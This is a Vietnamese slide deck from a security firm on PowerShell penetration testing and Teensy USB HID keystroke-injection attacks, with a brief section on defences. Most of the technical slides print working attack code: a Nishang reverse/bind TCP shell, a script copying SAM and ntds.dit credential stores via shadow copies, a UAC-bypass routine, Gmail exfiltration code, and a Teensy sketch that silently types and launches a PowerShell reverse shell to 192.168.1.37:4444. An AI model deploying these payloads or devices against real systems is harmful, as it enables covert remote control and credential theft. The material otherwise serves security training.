  • 4. 44 BTIS hoạt động trong lĩnh vực An toàn thông tin. Chúng tôi tập hợp đội ngũ những chuyên viên tốt nghiệp từ những trường Đại học uy tín của cả nước. Cùng với kinh nghiệm làm việc, nghiên cứu trong lĩnh vực bảo mật, triển khai hệ thống kết hợp với sức trẻ của đội ngũ nhân viên, BTIS mong sẽ cung cấp cho khách hàng những dịch vụ An toàn thông tin đáp ứng những nhu cầu khác nhau từ thị trường. LỜI CHÀO TỪ CÔNG TY CÔNG NGHỆ BẢO TÍN Địa chỉ: Tầng 04, 5A Trần Văn Dư, phường 13, quận Tân Bình, Tp.Hồ Chí Minh Điện thoại: 08 3810 6288 – 08 38106289 www.btis.vn | info@btis.vn
  • 5. NỘI DUNG CHƯƠNG TRÌNH 5 I. POWERSHELL PENETRATION TESTING II. TEENSY HID III. KAUTILYA IV. TẤN CÔNG TIẾP CẬN SỬ DỤNG HID TRONG THỰC TIỄN V. PHƯƠNG PHÁP PHÒNG CHỐNG VI. THẢO LUẬN
  • 6. Powershell Penetration Testing Giới thiệu Powershell, thực hiện phân tích PAYLOAD Powershell Penetration Testing 6
  • 7. Powershell • PowerShell là một công cụ rất mạnh mẽ được tích hợp trong Windows, hỗ trợ các nhiều tiện ích và cung cấp các quyền cao hơn cho người dùng. • Các tiện ích cơ bản của PS: − Quản lý tiến trình − Giám sát các Services − Quản lý người dùng − Thông tin về hệ thống máy tính 7
  • 8. Tại sao lại sử dụng PowerShell 8
  • 9. Tại sao lại sử dụng PowerShell 9
  • 10. Nishang PowerShell for penetration testing and offensive security Nishang là một framwork chứa các scripts và payloads sử dụng PowerShell để thực hiện kiểm tra bảo mật, kiểm tra pentest. 10
  • 11. Nishang Framework tập hợp các script và payloads thực thi bằng PowerShell dùng để thực hiện các cuộc tấn công, kiểm thử hệ thống. 11
  • 12. Phân tích PowerShell TCP Payload • Link: https://github.com/samratashok/nishang/raw/master/Shells/In voke-PowerShellTcp.ps1 • Miêu tả: Script chấp nhận các kết nối từ xa đến hoặc tự động kết nối đến một host và port bất kỳ thông qua netcat • Ví dụ: − Chấp nhận các kết nối đến Port 4444 PS > Invoke-PowerShellTcp -Bind -Port 4444 − Kết nối đến host 192.168.254.226 tại port 4444 PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 12
  • 13. #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out- String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } Phân tích PowerShell TCP Payload 13
  • 14. Phân tích Copy-VSS Payload • Link: https://github.com/samratashok/nishang/raw/master/Gather/C opy-VSS.ps1 • Miêu tả: Payload sử dụng VSS Service, tạo Shadow của ổ C và thực hiện Copy các tập tin SAM. • Ví dụ: − Lưu các tập tin vào trong thư mục C:temp PS > Copy-VSS -DestinationDir C:temp 14
  • 15. $service = (Get-Service -name VSS) if($service.Status -ne "Running") { $notrunning=1 $service.Start() } $id = (Get-WmiObject -list win32_shadowcopy).Create("C:","ClientAccessible").ShadowID $volume = (Get-WmiObject win32_shadowcopy -filter "ID='$id'") $SAMpath = "$pwdSAM" $SYSTEMpath = "$pwdSYSTEM" $ntdspath = "$pwdntds" if ($DestinationDir) { $SAMpath = "$DestinationDirSAM" $SYSTEMpath = "$DestinationDirSYSTEM" $ntdspath = "$DestinationDirntds" } `cmd /c copy "$($volume.DeviceObject)windowssystem32configSAM" $SAMpath` `cmd /c copy "$($volume.DeviceObject)windowssystem32configSAM" $SYSTEMpath` if($ntdsSource) { `cmd /c copy "$($volume.DeviceObject)$ntdsSourcentds.dit" $ntdspath` } else { `cmd /c copy "$($volume.DeviceObject)windowssystem32ntds.dit" $ntdspath` } $volume.Delete() if($notrunning -eq 1) { $service.Stop() } } Phân tích Copy-VSS Payload 15
  • 16. Phân tích Bypass UAC Payload • Link: https://github.com/samratashok/nishang/raw/master/Escalatio n/Invoke-PsUACme.ps1 • Miêu tả: Payload bypass UAC Ví dụ: − Bypass UAC sử dụng phương thức sysprep PS > Invoke-PsUACme -method sysprep -Verbose 16
  • 17. Phân tích Bypass UAC Payload 17 $OSVersion = (Get-WmiObject -Class win32_OperatingSystem).BuildNumber switch($method) { "Sysprep" { Write-Output "Using Sysprep method" if ($OSVersion -match "76") { Write-Verbose "Windows 7 found!" $dllname = "CRYPTBASE.dll" $PathToDll = "$env:temp$dllname" Write-Verbose "Writing to $PathToDll" [Byte[]] $temp = $DllBytes -split ' ' [System.IO.File]::WriteAllBytes($PathToDll, $temp) } if ($OSVersion -match "96") { Write-Verbose "Windows 8 found!" $dllname = "shcore.dll" $PathToDll = "$env:temp$dllname" Write-Verbose "Writing to $PathToDll" [Byte[]] $temp = $DllBytes -split ' ' [System.IO.File]::WriteAllBytes($PathToDll, $temp) } if ($OSVersion -match "10") { Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " } $Target = "$env:tempuac.cab" $wusapath = "C:WindowsSystem32Sysprep" $execpath = "C:WindowsSystem32Sysprepsysprep.exe" Write-Verbose "Creating cab $Target" $null = & makecab $PathToDll $Target Write-Verbose "Extracting cab to $wusapath " $null = & wusa $Target /extract:$wusapath Start-Sleep -Seconds 1 Write-Verbose "Executing $execpath " & $execpath }
  • 18. Analyze Bypass UAC Payload Method Name Write DLL to DLL Name Executable to Use sysprep C:WindowsSystem32sys prep CRYPTBASE.dll for Windows 7 and shcore.dll for Windows 8 C:WindowsSystem32sys prepsysprep.exe oobe C:WindowsSystem32oo be wdscore.dll for Windows 7, 8 and 10 C:WindowsSystem32oo besetupsqm.exe actionqueue C:WindowsSystem32sys prep ActionQueue.dll only for Windows 7 C:WindowsSystem32sys prepsysprep.exe migwiz C:WindowsSystem32mi gwiz wdscore.dll for both Windows 7 and 8 C:WindowsSystem32mi gwizmigwiz.exe cliconfg C:WindowsSystem32 ntwdblib.dll for Windows 7, 8 and 10 C:WindowsSystem32clic onfg.exe winsat C:WindowsSystem32sys prepCopy winsat.exe from C: WindowsSystem32 to C:WindowsSystem32sys prep ntwdblib.dll for Windows 7 and devobj.dll for Windows 8 and 10 C:WindowsSystem32sys prepwinsat.exe mmc C:WindowsSystem32 ntwdblib.dll for Windows 7 and elsext.dll for Windows 8 and 10. C:WindowsSystem32m mc.exe eventvw 18
  • 19. [int[]] $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,31 28,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901), [int] $TimeOut = 100 Begin { $ping = New-Object System.Net.Networkinformation.Ping } $Word = New-Object -ComObject Word.Application $WordVersion = $Word.Version #Check for Office 2007 or Office 2003 if (($WordVersion -eq "12.0") -or($WordVersion -eq "11.0")) { $Word.DisplayAlerts = $False } else { $Word.DisplayAlerts = "wdAlertsNone" } $smtpserver = "smtp.gmail.com" $msg = new-object Net.Mail.MailMessage $smtp = new-object Net.Mail.SmtpClient($smtpServer ) $smtp.EnableSsl = $True $smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password"); $msg.From = "$username@gmail.com" $msg.To.Add("$username@gmail.com") $msg.Subject = $pastename $msg.Body = $pastevalue Các Payload khác 19
  • 20. Teensy HID Lịch sử hình thành các kỹ thuật khai thác, chiếm quyền người dùng thông qua kết nối trên nền tảng USB. Tóm gọn các chức năng, ưu điểm/ nhược điểm của các kỹ thuật cổ điển đến những phương pháp khai thác mới nhất, khó phát hiện và nguy hiểm. 20
  • 21. Lịch sử xuất hiện • USB mass storage containing malware • U3 thumb drives with "evil" autorun payloads • Hardware key loggers • Programmable HID USB Keyboard Dongle Devices USB Rubber Ducky Deluxe 21
  • 22. HID Human Interface Device Tiêu chuẩn USB được phân thành nhiều lớp (class) và định nghĩa bởi mã định danh gán trên thiết bị. Các lớp USB giúp các thiết bị kết nối xác định chức năng phần cứng mà nó được thiết kế. HID là một lớp theo tiêu chuẩn USB quốc tế, được sử dụng trong việc phát triển các tính năng mở rộng, tương tác với các thiết bị khác. http://www.usb.org/developers/defined_class/#BaseClass03h 22
  • 23. USB
  • 24. HID (Human Interface Device) • Human Interface Device (HID) cho phép các nhà phát triển tự tạo ra các thiết bị/ ứng dụng trên kiến trúc USB mà không cần phải nhúng thêm driver thiết bị. Tính chất tương thích cao của chip HID và kết nối USB là một sự kết hợp hoàn hảo cho việc mở rộng các tính năng cao cấp cho thiết bị USB ngày nay. http://d3i5bpxkxvwmz.cloudfront.net/articles/ 2012/01/23/USB-HID-Tutorial-1327308511.pdf 24
  • 25. Teensy USB Development Board Teensy là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với kích thước nhỏ và có thể phát triển mở rộng thành nhiều tính năng khác nhau. Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nối USB. 25
  • 26. Teensy USB Board, Version 3.2 Actual size is 1.4 by 0.7 inch Version 3.2 features a 32 bit ARM processor. Price $19.80 https://www.pjrc.com/teensy/index.html 26
  • 27. Demo nạp chip – Mouse - Notepad.ino 27
  • 28. Kautilya Công cụ cung cấp payloads cho các thiết bị HID giúp kiểm tra tính bảo mật của hệ thống trong quá trình kiểm thử 28
  • 29. Kautilya Features Windows Gather − Gather Information − Hashdump and Exfiltrate − Keylog and Exfiltrate − Sniffer − WLAN keys dump − Get Target Credentials − Dump LSA Secrets − Dump passwords in plain − Copy SAM − Dump Process Memory − Dump Windows Vault Credentials Execute − Download and Execute − Connect to Hotspot and Execute code − Code Execution using Powershell − Code Execution using DNS TXT queries − Download and Execute PowerShell Script − Execute ShellCode − Reverse TCP Shell Backdoor − Sethc and Utilman backdoor − Time based payload execution − HTTP backdoor − DNS TXT Backdoor − Wireless Rogue AP − Tracking Target Connectivity − Gupt Backdoor Escalate − Remove Update − Forceful Browsing Manage − Add an admin user − Change the default DNS server − Edit the hosts file − Add a user and Enable RDP − Add a user and Enable Telnet − Add a user and Enable Powershell Remoting Drop Files − Drop a MS Word File − Drop a MS Excel File − Drop a CHM (Compiled HTML Help) file − Drop a Shortcut (.LNK) file − Drop a JAR file Misc − Browse and Accept Java Signed Applet − Speak on Target Linux − Download and Execute − Reverse Shells using built in tools − Code Execution − DNS TXT Code Execution − Perl reverse shell (MSF) OSX − Download and Execute − DNS TXT Code Execution − Perl Reverse Shell (MSF) − Ruby Reverse Shell (MSF) 29
  • 30. Demo nạp chip – ReverseTCP.ino 30
  • 31. void setup() { delay(3000); // Kiểm tra đã nhận Teensy chưa bằng tín hiệu đèn trên CAPLOCK? wait_for_drivers(2000); // Thu nhỏ tất cả chương trình đang chạy minimise_windows(); delay(500); while (!cmd(3, 500, "cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers"")) // Thực hiện gọi CMD với các tham số truyền vào. { reset_windows_desktop(2000); } delay(1000); // Thực hiện khởi tạo PAYLOAD POWERSHELL Keyboard.println("echo $cl = New-Object System.Net.Sockets.TCPClient("192.168.1.37",4444) > %temp%rtcp.ps1"); Keyboard.println("echo $str = $cl.GetStream() >> %temp%rtcp.ps1"); Keyboard.println("echo [byte[]]$bts = 0..65535^|%{0} >> %temp%rtcp.ps1"); Keyboard.println("echo while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){ >> %temp%rtcp.ps1"); Keyboard.println("echo $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0, $i) >> %temp%rtcp.ps1"); Keyboard.println("echo $sb = (iex $data 2>&1 ^| Out-String ) >> %temp%rtcp.ps1"); Keyboard.println("echo $sb2 = $sb + "PS " + (pwd).Path + "> " >> %temp%rtcp.ps1"); Keyboard.println("echo $sbt = ([text.encoding]::ASCII).GetBytes($sb2) >> %temp%rtcp.ps1"); Keyboard.println("echo $str.Write($sbt,0,$sbt.Length) >> %temp%rtcp.ps1"); Keyboard.println("echo $str.Flush()} >> %temp%rtcp.ps1"); Keyboard.println("echo $cl.Close() >> %temp%rtcp.ps1"); // Thực hiện khởi tạo VBS Keyboard.println("echo Set oShell = CreateObject("WScript.Shell") > %temp%rtcp.vbs"); Keyboard.println("echo oShell.Run("powershell.exe -ep bypass -nologo -c %temp%rtcp.ps1"),0,true >> %temp%rtcp.vbs"); delay(1000); // Thực thi tập tin VBS Keyboard.println("wscript %temp%rtcp.vbs"); delay(1000); Keyboard.println("exit"); } 31 $cl = New-Object System.Net.Sockets.TCPClient("192.168.1.37",4444) $str = $cl.GetStream() [byte[]]$bts = 0..65535|%{0} while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0, $i) $sb = (iex $data | Out-String ) $sb2 = $sb + "PS " + (pwd).Path + "> " $sbt = ([text.encoding]::ASCII).GetBytes($sb2) $str.Write($sbt,0,$sbt.Length) $str.Flush()} $cl.Close()
  • 32. Kiểm tra nhận Teensy chưa Thu nhỏ màn hình (Windows + M) Mở Run (Windows + R) Nhập lệnh CMD Khởi tạo PAYLOAD POWERSHELL Khởi tạo Script Vbs Thực thi SCRIPT Thoát Tổng quan quy trình
  • 33. Demo nạp chip – CopySAM.ino 33
  • 34. 34
  • 36. Hàm Bypass UAC 36 // Hàm Bypass UAC void send_left_enter() { delay(1000); Keyboard.set_key1(KEY_LEFT); // Nhấn phím trái Keyboard.send_now(); delay(100); Keyboard.set_key1(0); Keyboard.send_now(); Keyboard.set_key1(KEY_ENTER); // Nhấn Enter Keyboard.send_now(); delay(100); Keyboard.set_key1(0); Keyboard.send_now(); }
  • 37. Kiểm tra nhận Teensy chưa Thu nhỏ màn hình (Windows + M) Nhấn nút Windows Nhập lệnh CMD Nhấp tổ hợp phím CTRL + SHIFT + ENTER Trên hộp thoại UAC, nhấn phái qua trái và ENTER Khởi tạo PAYLOAD POWERSHELL Khởi tạo Script Vbs Thực thi SCRIPT Thoát Tổng quan quy trình
  • 38. Tấn công tiếp cận sử dụng HID trong thực tiễn HID hỗ trợ hoạt động trên đa nền tảng hệ điều hành và kiến trúc phần cứng. 38
  • 39. SOCIAL ENGINEERING: THE ART OF HUMAN HACKING From elicitation, pretexting, influence and manipulation all aspects of social engineering are picked apart, discussed and explained by using real world examples, personal experience and the science behind them to unraveled the mystery in social engineering. Kevin Mitnick—one of the most famous social engineers in the world— popularized the term “social engineering.” He explained that it is much easier to trick someone into revealing a password for a system than to exert the effort of hacking into the system. Mitnick claims that this social engineering tactic was the single- most effective method in his arsenal. This indispensable book examines a variety of maneuvers that are aimed at deceiving unsuspecting victims, while it also addresses ways to prevent social engineering threats. 39
  • 40. Dịch vụ sạc điện thoại? 40
  • 41. Thiết bị đọc thẻ nhớ 41
  • 43. Data Leak Prevention Bypass 43
  • 44. Tấn công đa nền tảng • Microsoft Windows: Powershell, VBS • MAC OS: Mouse, Keyboard, Automated brute force attack against the EFI PIN • Linux: Mouse, Keyboard • Android: OTG Device, brute force • iOS: brute force,… • … 44
  • 46. The USB ID Repository 16c0 Van Ooijen Technische Informatica 0477 Teensy Rebootor 0478 Teensy Halfkay Bootloader 0479 Teensy Debug 047a Teensy Serial 047b Teensy Serial+Debug 047c Teensy Keyboard 047d Teensy Keyboard+Debug 047e Teensy Mouse 047f Teensy Mouse+Debug 0480 Teensy RawHID 0481 Teensy RawHID+Debug 0482 Teensyduino Keyboard+Mouse+Joystick 0483 Teensyduino Serial 0484 Teensyduino Disk 0485 Teensyduino MIDI 0486 Teensyduino RawHID 0487 Teensyduino Serial+Keyboard+Mouse+Joystick 0488 Teensyduino Flight Sim Controls 46
  • 47. 47 It’s not a USB! It’s a TeensyHID
  • 48. 48 • C:Program Files (x86)Arduinohardwareteensyavrcoresteensy3usb_desc.h usb_desc.h
  • 52. Các kỹ thuật phòng chống Phương thức phát hiện, phòng chống các dạng phần cứng độc hại trên các nền tảng hệ điều hành. 52
  • 54. Linux • Locking down Linux using UDEV • http://www.irongeek.com/i.php?page=security/plug-and-prey- malicious-usb- devices&mode=print#3.2_Locking_down_Linux_using_UDEV 54
  • 55. Tài liệu tham khảo 1. https://www.pjrc.com/teensy/ 2. http://www.irongeek.com/i.php?page=security/plug-and- prey-malicious-usb-devices 3. http://www.irongeek.com/i.php?page=security/programmable -hid-usb-keystroke-dongle 4. https://github.com/offensive-security/hid-backdoor-peensy 5. https://github.com/trustedsec/social-engineer- toolkit/blob/master/src/teensy/peensy.pde 6. https://github.com/matterpreter/penteensy 7. https://github.com/samratashok/nishang 55

Editor's Notes

  • #25: http://d3i5bpxkxvwmz.cloudfront.net/articles/2012/01/23/USB-HID-Tutorial-1327308511.pdf